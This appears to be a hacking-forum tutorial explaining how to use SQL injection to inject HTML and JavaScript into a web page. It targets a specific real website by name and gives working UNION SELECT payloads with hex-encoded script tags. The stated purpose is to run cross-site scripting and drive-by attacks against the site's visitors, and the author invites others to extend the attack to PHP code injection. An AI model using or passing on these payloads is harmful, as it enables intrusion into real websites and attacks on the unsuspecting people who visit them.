Let's add html with SQLi

Why to add html?
Ok the reason why we do this is to execute xss and drive-by and we can effect the visitors using this..
It increases our attack vactors and its an example of how sqli can carry out attacks to effect the users/visitors..

Here is a way I found to add html with sql injection:

Click on it:
http://old.cageprisoners.com/articles.php?id=-25632 UNION ALL SELECT 1,2,concat(0x3c7363726970743e616c6572742827,version(),0x27293b3c2f7363726970743e) ,4,5,6-- -

It'll popup with the db version :)

Next you can add more tags like <h1></h1> shit and stuff with
http://old.cageprisoners.com/articles.php?id=-25632 UNION%20ALL SELECT 1,2,concat(0x3c68313e4920676f7420746865206461746162617365206261627920697420697320,version%28%29,0x3c2f68313e) ,4,5,6--%20-

convert the tag <script>alert(' into hexa which is:
3c7363726970743e616c6572742827

so 0x3c7363726970743e616c6572742827

next convert the tag ');</script> into hexa which is:
27293b3c2f7363726970743e

so 0x27293b3c2f7363726970743e

we need <script>alert('version()');</script>
so,
concat(0x3c7363726970743e616c6572742827,version(),0x27293b3c2f7363726970743e) is what we will do and check the results..

Further experiemnt:
I tried injecting php codes too but i couldn't and failed..
Injecting php codes could take this attack to a much higher level.
Please share any of your new methods regarding this if you find..

Hexa converter:
http://www.string-functions.com/string-hex.aspx